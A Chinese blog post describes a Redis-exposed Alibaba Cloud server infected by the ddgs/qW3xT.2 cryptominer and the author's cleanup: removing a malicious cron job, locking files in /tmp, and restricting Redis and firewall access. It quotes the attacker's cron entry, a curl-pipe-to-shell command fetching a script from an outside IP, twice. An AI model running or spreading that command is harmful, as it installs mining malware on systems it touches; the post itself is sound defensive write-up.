美文网首页我爱编程
阿里云ECS 被恶意挖矿程序使用ddgs.3013

阿里云ECS 被恶意挖矿程序使用ddgs.3013

作者: 东方月初zzZ | 来源:发表于2018-08-09 09:54 被阅读0次

    前言

    笔者在阿里云购置了一套ECS,Linux属于入门级别,在安装了Redis的因为配置文件不当,导致被恶意挖矿程序钻了空子,成功的让我的服务器也当了回肉鸡。为了避免还有朋友 出现类似问题,在此记录本次与这个小木马斗智斗勇的过程

    1.问题描述

    阿里云盾告警信息,手机接收到告警信息时候一脸懵逼,我一个小小的服务器也能被攻击,只能说网络安全很重要,问题描述如下,回想了一下,redis安装后配置文件,只改了一处,就是让redis后台运行,其他配置文件都没有改动(正是因为没有改动,所以才导致以下一系列的问题)


    13220279-f622ff467f470790.png

    2.远程SSH连上主机定位问题

    SSH连上阿里云主机,第一反应是卡顿,顿感大事不妙。表面看似毫无波澜,内心其实慌得一批。无奈Linux小白一个,只能边靠着度娘,边发挥自己的想象力,看看哪里出了问题

    (1)top指令,查看系统进程,占用情况

    08714dc39ec88d97784aed4327d88db.png

    发现异常进程,就是qW3xT.2这个进程搞得服务器cpu占用率高达百分之百,主机自然卡的不行啊。心中那个 气啊,简单粗暴先给它一个kill

    kill -9 qW3xT.2(pid)
    

    本以为搞定了,结果再次top查看进程,异常进程竟然死灰复燃了,真的是够顽固。看来还是没找到问题根源,治标不治本

    (2)消灭定时任务,让主机不再重启进程

    网上查阅了一翻资料后,发现原来是攻击者通过Redis无密码登录,并且我的redis.conf配置任意IP访问,这才使得攻击者有机可乘

    # bind 192.168.1.100 10.0.0.1
    # bind 127.0.0.1
    

    目前全球很多主机仍然保持Redis的端口暴露在公网上,也就会引起同类型问题

    攻击者首先通过侵入Redis,控制主机,利用主机下载一段脚本

    curl -fsSL http://149.56.106.215:8000/i.sh | sh

    该脚本正是通过定时任务在目标主机上种下恶意挖矿程序,占用cpu资源。并且当你kill掉异常进程时,还会引发定时任务监听,重启该进程,真是防不胜防。知晓其原理后,解决起来也是顺畅了许多。

    [root@vayneluo redis-2.8.17]# crontab -l
    
    curl -fsSL http://149.56.106.215:8000/i.sh | sh
    
    [root@vayneluo redis-2.8.17]#
    

    查看系统内确实有这个定时任务,一般是美国的IP,检查/var/spool/cron/root和/var/spool/cron/root 和 /var/spool/cron/crontabs/root ,删除crontab内容,消灭定时任务,

    删除目标进程,同时为避免问题仍在,建议做以下处理

    cd /tmp/
    
    rm qW3xT.2
    
    rm -rf ddgs.3011
    
    touch qW3xT.2
    
    touch ddgs.3011
    
    chattr +i qW3xT.2
    
    chattr +i ddgs*
    

    3.问题解决

    至此,问题得以解决。另外针对Redis的配置,也换成了除本机访问,并且指定固定IP访问Redis,如果有的同学觉得还是不够安全。还可以设置redis.conf 里requirepass字段设置密码,为你的Redis加强防御.有兴趣的同学可以尝试设置linux防火墙,配置固定IP访问

    root@vayneluo redis-2.8.17]# iptables -L
    
    Chain INPUT (policy ACCEPT)
    
    target    prot opt source              destination       
    
    ACCEPT    tcp  --  localhost            anywhere            tcp dpt:6379
    
    ACCEPT    tcp  --  固定IP       anywhere            tcp dpt:6379
    
    REJECT    tcp  --  anywhere            anywhere            tcp dpt:6379 reject-with icmp-    port-unreachable
    
    Chain FORWARD (policy ACCEPT)
    
    target    prot opt source              destination       
    
    Chain OUTPUT (policy ACCEPT)
    
    target    prot opt source              destination       
    
    [root@vayneluo redis-2.8.17]#

    相关文章

      网友评论

        本文标题:阿里云ECS 被恶意挖矿程序使用ddgs.3013

        本文链接:https://www.haomeiwen.com/subject/wzhqbftx.html